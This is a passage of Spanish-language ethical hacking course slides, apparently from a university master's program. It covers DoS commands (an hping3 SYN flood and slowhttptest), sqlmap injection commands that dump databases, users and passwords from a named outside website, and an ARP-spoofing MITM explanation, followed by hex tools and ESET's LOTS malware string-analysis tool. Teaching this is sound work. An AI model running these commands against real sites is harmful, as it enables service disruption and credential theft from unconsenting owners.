hping3 -c 10000 -S -w 64 -p 8000 -d 65000 --flood --rand-source 192.168.44.128


m

maestriasenlinea.ute.edu.ec
25 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

2.Hacking Ético de Aplicaciones Web

Ataques a infraestructura WEB


DDOS – ATAQUES AL SERVICIO

slowhttptest -c 1000 -H -g -o attack_stats -i 10 -r 200 -t GET -u http://192.168.44.131

c
slowhttptest -c 1000 -H -g -o attack_stats -i 10 -r 200 -t GET -u http://192.168.44.131 -x 30 -p 3

.e
slowhttptest -c 1000 -X -g -o slow_read_stats -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u

du
http://192.168.44.131 -p 3

.e
SQLi - SQL Injection
sudo sqlmap -u http://www.hotel-fortino.gr/gallery.php?id=1 -dbs
te
.u
ea

sudo sqlmap -u http://www.hotel-fortino.gr/gallery.php?id=1 D information_schema --tables


in

sudo sqlmap -u http://www.hotel-fortino.gr/gallery.php?id=1 --users --passwords


l
en

sudo sqlmap -u http://www.hotel-fortino.gr/gallery.php?id=1 D information_schema --tables -T

USER_PRIVILEGES –columns
as

Ataque Man In The Middle – MITM


ri
st

Este es uno de los ataques más peligrosos y efectivos que puede ser usado, y trabaja
ae

redireccionando paquetes de cualquier cliente hacia nuestro dispositivo, una vez que tenemos

posesión de la red, podemos leer/modificar/eliminar esos paquetes. Esto nos permite lanzar ataques
m

muy poderosos.

maestriasenlinea.ute.edu.ec
26 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

c
.e
du
ARP Poisoning y ataque híbrido de ingeniería social / web

.e
Es muy efectivo y peligroso porque no es tan fácil defenderse de este ataque ya que toma una

vulnerabilidad del protocolo de ARP.

te
.u
PRINCIPALES PROBLEMAS DEL PROTOCOLO ARP
ea

Sea cual sea el equipo desde donde se realice un request/respond, ARP cree que es un equipo dentro
in

de la red verdadero,
l
en

Todos los clientes pueden aceptar respuestas inclusive si ellos no enviaron un requerimiento.
as

¿CÓMO FUNCIONA EL ATAQUE?


ri

Al conectarse las maquinas, lo primero que hacen es preguntar ¿Quién es el Gateway? ¿Quién es el
st

Router? ¿por dónde es la salida hacia el internet?


ae
m

maestriasenlinea.ute.edu.ec
27 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

c
.e
du
.e
te
Podemos explotar estos 2 problemas redireccionando paquetes en la red.
.u
Lo que primero se hará es enviar una respuesta ARP indicando YO SOY EL ROUTER!!
ea
Hecho esto, todos los dispositivos conectados en el segmento de red, autenticarán esa MAC

como propia del Router, ejecutando el SPOOFING.


l in
en
as
ri
st
ae
m

maestriasenlinea.ute.edu.ec
28 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

3. Introducción al cracking e ingeniería inversa

Seguimiento y validación de ataques

c
.e
du
.e
te
.u
ea

netstat -ano
l in

netstat -bano
en

taskkill /F /PID
as
ri

B = Muestra el nombre del archivo ejecutable de cada conexión


st

A = Muestra todas las conexiones y puertos de escucha


ae

N = Muestra números de puertos y direcciones en formato numérico


m

O = Muestra el ID asociado al proceso de cada conexión 123

maestriasenlinea.ute.edu.ec
29 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

4. Herramientas de cracking

Herramientas para revisión interna de archivos


Xxd, una herramienta para trabajar con código binario y hexadecimal

GNU/Linux nos brinda gran cantidad de productos para la manipulación hexadecimal y binaria. Xxd

es uno de los más populares.

c
.e
Personalmente me recuerda mucho a “Norton Commander” Programa que utilizaba en los años

du
noventa del siglo pasado, en el sistema MS-DOS que tenía instalado en el equipo con procesador

286. Mis hermanos y yo lo utilizábamos para ver y modificar los ficheros de los juegos. Como por

.e
ejemplo cambiar las características de los jugadores en el juego “Italia 90”.

te
Xxd ya viene preinstalado en la mayoría de las distribuciones GNU/Linux, para ver sus principales
.u
características y funcionamiento debemos escribir:
ea

$ xxd -h
l in

Tal y como se muestra en la imagen:


en
as
ri
st
ae
m

maestriasenlinea.ute.edu.ec
30 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

La sintaxis para trabajar con el comando es:

$ xxd [opciones] [fichero de entrada [fichero de salida]]

Volcado a hexadecimal

Podemos volcar a hexadecimal un fichero, simplemente indicando el nombre del archivo. En el

ejemplo volcaremos un fichero ‘Makefile’

c
$ xxd Makefile.in

.e
du
Con el resultado:

.e
te
.u
ea
l in
en
as
ri
st
ae
m

Volcar desde la línea de comandos o entrada estándar

También podemos interactuar directamente con el comando, desde la línea de comandos,

escribiendo:

$ xxd –

Si queremos salir de programa debemos utilizar la combinación de CTRL+D

maestriasenlinea.ute.edu.ec
31 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

Tal y como se muestra en la imagen

c
.e
du
.e
Establecer índice de inicio

te
Mientras se descargan desde un archivo, puede haber una gran cantidad de datos que no nos
.u
interesan. Así que simplemente los saltamos. Xxd proporciona la opción -s para saltar al índice
ea

especificado. En este ejemplo, omitiremos las primeras 5 líneas y comenzaremos desde 6. línea.
in

Como sigue:
l
en

$ xxd -s 0x50 Makefile.in


as

Una muestra:
ri
st
ae
m

Saltar a una línea específica en Xxd

También podemos acotar la información mostrada entre un índice de inicio y otro de final.

Añadiendo el parámetro -l, de esta manera:

maestriasenlinea.ute.edu.ec
32 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

$ xxd -s 0x50 -l 0x100 Makefile.in

El resultado tal y como se muestra en la imagen:

c
.e
du
.e
te
.u
ea

Por último, que no menos importante, podemos cambiar el tamaño de información mostrada en la
in

columna, que por defecto es 16. Podemos modificar este valor con el parámetro -c , que proporciona
l

el valor de longitud. Vamos a cambiar dicho valor a 24.


en

$ xxd -s 0x50 -l 0x100 -c 24 Makefile.in


as
ri

Con el resultado:
st
ae
m

Modificamos el valor de los octetos

hexdump

Despliega una representación hexadecimal de la entrada (por compatibilidad el comando od llama a

maestriasenlinea.ute.edu.ec
33 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

hexdump).

hexdump -C archivo.txt muestra la representación en hexadecimal y en ASCII

c
.e
du
hexdump -c archivo.txt interpretar bytes como caracteres.

.e
te
.u
ea
l in
en

hexdump -b archivo.txt mostrara los bytes con números octales.


as

hexdump -x archivo.txt despliega los números en hexadecimal.


ri

hexedit
st

A diferencia del comando hexdump, este comando no solo muestra la representación en hexadecimal
ae

del archivo sino que también permite modificar y buscar cadenas.


m

Su sintaxis es de la forma:

hexedit [opciones] [archivo]

Sus opciones son:

-s Dar formato a la pantalla para tener sectores enteros.

-m Trata de maximizar la pantalla.

maestriasenlinea.ute.edu.ec
34 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

-h muestra la ayuda del comando

hexedit f479684768.dcm nuestras el archivo f479684768.dcm en hexadecimal y en ASCII, al

ejecutarlo sale del pront y habré el programa (como cunando se ejecuta el comando less o el editor

vi)

c
.e
du
.e
te
.u
ea
l in
en
as

La última línea es la de estado, y en este caso representa el nombre del archivo y la ubicación actual
ri

de cursor.
st
ae

Dentro del programa puedes usar:


m

Mover

< > : va al inicio / final del archivo

Right: carácter siguiente

Left: carácter anterior

Down: siguiente linea

Up: linea anterior

maestriasenlinea.ute.edu.ec
35 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

Home: comienzo de la línea

End: final de la línea

PUp: avanza una pantalla

PDown: retrocede una pantalla

Miscellaneous

c
F2: guardar

.e
F3: cargar archivo

du
F1: ayuda

Ctrl-L: redraw

.e
Ctrl-Z: suspender

te
F2 ó Ctrl-W: guardar .u
Ctrl-X: guardar y salir

Ctrl-C: salir sin guardar


ea

Esc-T: truncar el archivo en la ubicación actual


in

Tab: Alterna entre hex/ascii


l

Return: ir a
en

Backspace: deshacer carácter anterior


as

Ctrl-U: deshacer todo


ri

Ctrl-S: buscar hacia adelante


st

Ctrl-R: buscar hacia atrás


ae

Copiar y Pegar
m

Ctrl-Space: establecer marca

Esc-W: copiar

Ctrl-Y: pegar

Esc-Y: pegar en un archivo

Esc-I: llenar

Nota: Algunas veces en vez de la tecla escape Esc, puede que funciones la tecla Alt, sino también

maestriasenlinea.ute.edu.ec
36 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

probar presionar la tecla Esc soltar y luego la otra tecla.

En el siguiente ejemplo se abre el archivo ejemplo.dcm (ejecutando el comando hexedit

ejemplo.dcm), luego se presiona Ctrl-S y se introduce la cadena en hexadecimal

FEFFDDE000000000 que se desea buscar.

c
.e
du
.e
te
.u
ea
l in
en
as
ri
st
ae
m

4.1. Herramientas para disección de archivos – análisis de


strings

The Lord Of The Strings (LOTS) es una herramienta para Linux gratuita y de código abierto

desarrollada en ESET Latinoamérica, la cual se encuentra disponible para su descarga en GitHub,

que tiene como objetivo facilitar el análisis de strings extraídos de una muestra maliciosa al eliminar

automáticamente los strings basura, acelerando así los tiempos y permitiéndole al analista enfocar

maestriasenlinea.ute.edu.ec
37 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

toda su atención en los strings que realmente son importantes.

¿Para qué sirve el análisis de strings?

Los analistas de malware suelen realizar análisis de dos tipos sobre las muestras de malware:

Análisis estático: Aquellos que se realizan sobre la muestra sin necesidad de ejecutarla. Por

ejemplo: desensamblar el código de un ejecutable, analizar los recursos que contiene, que

c
bibliotecas utiliza, etc.

.e
Análisis dinámico: Aquellos que implican ejecutar la muestra maliciosa. Por ejemplo: analizar

du
el tráfico de red, monitorear las llamadas al sistema, monitorear los archivos modificados,

utilizar un debugger, etc.

.e
te
Uno de los análisis estáticos más básicos que suele realizarse sobre malware compilado es el análisis
.u
de strings. Este consiste en extraer, sin ejecutar la muestra, todos los strings del archivo para luego
ea

ser revisados uno a uno por el analista.


in

El tipo de información que puede ser obtenida mediante este método varía según la muestra, el tipo

de malware del que se trate y las protecciones anti-análisis que posea. Sin embargo, generalmente
l
en

suele ser muy útil y puede servir como una primera aproximación a partir de la cual definir los
as

siguientes pasos del análisis.


ri

A continuación, se enumeran algunas de las múltiples cosas interesantes que se pueden encontrar al
st

analizar los strings:


ae

Bibliotecas utilizadas
m

Nombres de archivos escritos en el sistema

Funciones de la API del SO utilizadas

Comandos ejecutados en el sistema

Blancos a los que apunta la amenaza

Direcciones del registro modificadas

Direcciones IP a las que se conecta

Mensajes que muestra al usuario

Sitios web a los que se conecta

maestriasenlinea.ute.edu.ec
38 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

Tecnologías que utiliza

Direcciones de bitcoin a las cuales transferir rescates

Protecciones anti-análisis que utiliza

Rutas en las cuales copia o escribe archivos -> Datos del compilador

¿Qué herramientas para el análisis de strings hay disponibles actualmente?

Existen muchas herramientas para obtener dichas strings, siendo las más famosas: Strings de

c
.e
Sysinternals para Windows y strings para Linux. El proceso realizado por estas herramientas

consiste en recorrer el archivo binario y extraer todas las secuencias de bytes que sean similares a

du
un string; es decir, aquellas que terminan en 0x00 en el caso de strings ASCII o en 0x0000 en el caso

.e
de strings unicode.

te
.u
ea
in

Existen muchas herramientas para obtener dichas strings, siendo las más famosas: Strings de
l
en

Sysinternals para Windows y strings para Linux. El proceso realizado por estas herramientas
as

consiste en recorrer el archivo binario y extraer todas las secuencias de bytes que sean similares a

un string; es decir, aquellas que terminan en 0x00 en el caso de strings ASCII o en 0x0000 en el caso
ri

de strings unicode.
st
ae

Como es de suponer, este tipo de herramientas presenta una gran cantidad de falsos positivos, ya

que cualquier secuencia de bytes con estructura similar a un string será considerada un string
m

válido. Mas aún, la cantidad de strings extraídos generalmente aumenta proporcionalmente al

tamaño del archivo, con lo cual a partir de una muestra de tan solo algunos megabytes pueden

obtenerse cientos de miles de falsos positivos.

maestriasenlinea.ute.edu.ec
39 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

c
.e
du
.e
te
.u
ea

¿Cuál es la diferencia con LOTS?


in

Los strings falso positivo o strings basura son claramente identificables para el analista. Sin
l

embargo, al necesitar ser analizados individualmente, la cantidad comienza a representar una


en

complicación y un retraso en el proceso de análisis. Aquí es donde entra en juego LOTS, cuyo
as

objetivo es descartar automáticamente los strings basura para que el analista pueda enfocar sus

esfuerzos únicamente en los strings reales y útiles.


ri
st

Dada la variabilidad de los strings que pueden encontrarse en una muestra de malware, conteniendo
ae

en muchos casos nombres, abreviaturas, números, símbolos, palabras inventadas, longitud y

características variables, etc., se optó por utilizar un algoritmo de inteligencia artificial basado en
m

que puedan ser fácilmente extraídos de cada string. De esta manera, se pretende lograr que el

algoritmo emplee un criterio similar al que utilizaría un analista para poder discernir si un string es

real o es un falso positivo.

Las pruebas realizadas sobre varios sets de datos revelaron una precisión de clasificación de

aproximadamente el 97%, tratándose así de una herramienta rápida, precisa y práctica para facilitar

el proceso de análisis.

maestriasenlinea.ute.edu.ec
40 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

A continuación, puede observarse una comparación entre el resultado de la herramienta strings de

Linux y el resultado de LOTS para la misma muestra maliciosa:

Con LOTS:

!This program cannot be run in DOS mode.

Rich

c
.text

.e
du
@.data

.e
.rsrc

te
TOpRj .u
TOpRj
ea

uNSW
in

Delete
l
en

NoRemove
as

ForceRemove
ri
st

CreateFileW
ae

CreateFileA
m

GetModuleHandleA

GetModuleHandleW

GetModuleFileNameA

kernel32.dll

GetModuleFileNameW

maestriasenlinea.ute.edu.ec
41 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

error occured

SKyu

invalid distance too far back

invalid distance code

invalid literal/length code

c
.e
too many length or distance symbols

du
invalid distances set

.e
invalid bit length repeat

invalid literal/lengths set


te
.u
ea
invalid code lengths set
in

invalid stored block lengths


l
en

invalid block type


as

incorrect length check


ri

incorrect data check


st

header crc mismatch


ae

unknown header flags set


m

incorrect header check

invalid window size

unknown compression method

incompatible version

buffer error

maestriasenlinea.ute.edu.ec
42 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

insufficient memory

data error

stream error

file error

stream end

c
.e
need dictionary

du
bad allocation

.e
Visual C++ CRT: Not enough memory to complete call to strerror.

CorExitProcess
te
.u
ea
runtime error
in

An application has made an attempt to load the C runtime library incorrectly.


l
en

Con la herramienta STRINGS Linux


as

!This program cannot be run in DOS mode.


ri

Rich
st

.text
ae

`.rdata
m

@.data

.rsrc

QRPV

QRPV

QUVW

maestriasenlinea.ute.edu.ec
43 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

[_^]Y

Qj@SP

Pj@SW

L$(WQ

RPSW

c
.e
VWP3

du
L$Pj

.e
+t$ SV

uP9D$ t
te
.u
ea
hx3B
in

hh1B
l
en

SUVW
as

_^][
ri

t>%F
st

_^][
ae

_^][
m

D$3UV

D$(W

D$4x

D$5a

D$>f

maestriasenlinea.ute.edu.ec
44 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

D$A3

D$Dt

D$9b

t:;L$

t:;L$

c
.e
PGWS

du
WPWUj

.e
VPWUj

_^][
te
.u
ea
VPWUj
in

VPWUj
l
en

_^][
as

QRVW
ri

}3@u
st

E#+E/_^ZY
ae

}3@u
m

}3@u%

}3@u&

}3@u

}3@u

Se puede notar claramente que el resultado obtenido al utilizar LOTS es mucho más pequeño que el

maestriasenlinea.ute.edu.ec
45 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

de strings, lo cual se debe, justamente, a la eliminación de los strings basura.

Esperamos que esta herramienta sea de utilidad para toda la comunidad de analistas de malware,

permitiendo reducir los esfuerzos empleados en estas tareas, acelerar los tiempos de análisis y

automatizar procesos.

c
.e
du
.e
te
.u
ea
l in
en
as
ri
st
ae
m

maestriasenlinea.ute.edu.ec
46 / 46

También podría gustarte